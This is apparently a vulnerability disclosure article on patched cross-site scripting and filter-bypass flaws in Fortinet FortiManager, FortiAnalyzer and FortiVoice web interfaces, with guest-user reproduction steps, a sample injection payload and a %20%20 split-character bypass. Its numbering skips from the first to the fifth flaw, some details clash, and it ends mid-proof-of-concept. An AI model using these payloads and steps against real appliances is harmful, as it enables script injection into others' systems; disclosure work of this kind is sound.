Fortinet Patches Series of Remote Vulnerabilities in Appliance Products

Affected FortiManager, FortiAnalyzer, FortiVoice & FortiCloud

The Fortinet  company has released several security fixes and patches for different appliance products. The vulnerabilities was disclosed by the core research team of the vulnerability laboratory. The Fortinet Security Team coordinated with PSIRT multiple patches for all discovered issues for  the FortiManager, FortiAnalyzer, FortiVoice and FortiCloud appliance web-applications. Lets move deeper into to explain more about our new findings, locations and exploitation.

The first vulnerability was in FortiAnalyzer & FortiManager (Series). A client-side cross site scripting web vulnerability was discovered in the official Fortinet FortiManager and FortiAnalyzer appliance web-application. The vulnerability allows remote attackers to inject own script codes to client-side browser requests of the affected vulnerable web-application context module. The vulnerability is located in the `tabs` and `&url` values of the `tabs.htm` file.The issue affects only the fortimanagaer and the fortianalyzer appliance web-application model series.

Proof of Concept (PoC):

The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.

The vulnerability is located in the `add Tags` input field of the `Firewall Objects > Address > Tags` module. Remote attackers are able to inject own malicious script codes to the add tag input field. After processing to add, the code bypasses the regular web filter of the appliance web-application and executes finally in the applied tags module above of the basic input. The vulnerability can be exploited by guest appliance user accounts with restricted access. 

Vulnerable Module(s):

[+] Firewall Objects > Address > Tags > [Add Tags]

Vulnerable Parameter(s):

[+] appliedTags > tagList (tagSelector-addTag create-new)

Affected Module(s):

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability as guest user with restricted access privileges ...

1. Login to the fortimanager appliance web-application as guest user

2. Open the following section that is not restricted to guests mainly (Firewall Objects > Address )

3. Now, switch to the Tags section and click to the non-restricted button [Add Tags]

4. Add in the `Add Tags` and inject to the input field your test payload to approve the validation

Note: (Payload) "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>

The fifth vulnerability in Fortimanager Series was A persistent and non-persistent input validation web vulnerability has been discovered in the official Fotinet FortiManager appliance product series. The vulnerability allows privileged guest user accounts and restricted user accounts to inject own malicious script codes to the application-side or client-side of the fortimanager appliance web-application series.

The vulnerability is located in the `name and description` input fields of the vulnerable `Policy & Objects > Security Profiles > SSL VPN Portal` module. The request method to inject is POST to GET and the attack vector is located on the application-side of the appliance web-application. Remote attackers are able to inject own malicious script codes to the name and description input fields. After processing to add, the code bypasses the regular web filter of the appliance web-application and executes finally in the pre-defined bookmarks listing module above with the basic input. The vulnerability can be exploited by guest appliance user accounts with restricted access. The vulnerability first executes with client-side attack vector and becomes persistent with the save procedure by return.

The persistent input validation web vulnerability can be exploited by low privileged guest web-application user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability as guest user with restricted access privileges ...

1.  Login to the fortimanager appliance web-application as guest user

2.  Open the following section that is not restricted to guests mainly (http://www.fortimanager.com/cgi-bin/module//sharedobjmanager/vpn/SOMVpnS...)

3.  Click Security Profiles > SSL VPN Portal

4.  Now click the pre-defined Bookmarks button ahead to the listing

5.  Add your test payload to verify the issue in the Name and Description input field

6.  Save the entry

7.  The code executes in the Pre-Defined Bookmarks listing context in two locations

8.  Save the entry by return again

9.  Now you reopen the post to edit the pre-defined bookmarks

10. A second execution of the payload occurs in the edit form next to the category entry

11. Successful reproduce of the persistent vulnerability!

The sixth vulnerability was in FortiVoice Product , FortiVoice phone systems and phones deliver intelligent call handling in a simple, affordable and user-friendly package. FortiVoice products are easy to install, easy to configure and easy to use, and come complete with everything a business needs to handle calls professionally, control costs and stay connected everywhere.

A filter bypass and multiple persistent cross site vulnerabilities has been discovered in the FortiVoice v5.x appliance web-application.allows remote attackers to inject own malicious script codes on the application-side of the affected module.

The vulnerabilities are located in the `match pattern name` input fields of the `Outbound - Outbound - Dailed Number Match` and  `Call Features - Fax - Sending Rules - Dailed Number Match` modules. Local low privileged user accounts and remote attackers are able to inject via POST method request .The injection point are the vulnerable input fields and the execution point occurs mainly in the same web modules context. To bypass the validation of the fortivoice appliance web-application, it is required to insert a split char attack via input fields. Use for example %20%20 after that the validation stops and you can execute an own payload.

Vulnerable Module(s):

[+] Outbound - Outbound

[+] Call Features - Fax - Sending Rules

Vulnerable Parameter(s):

[+] name (match pattern)

Affected Module(s):

[+] Dailed Number Match

Proof of Concept (PoC):

The persistent cross site vulnerabilities can be exploited by remote attackers and low privileged web-application user accounts with low or medium user interaction. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.
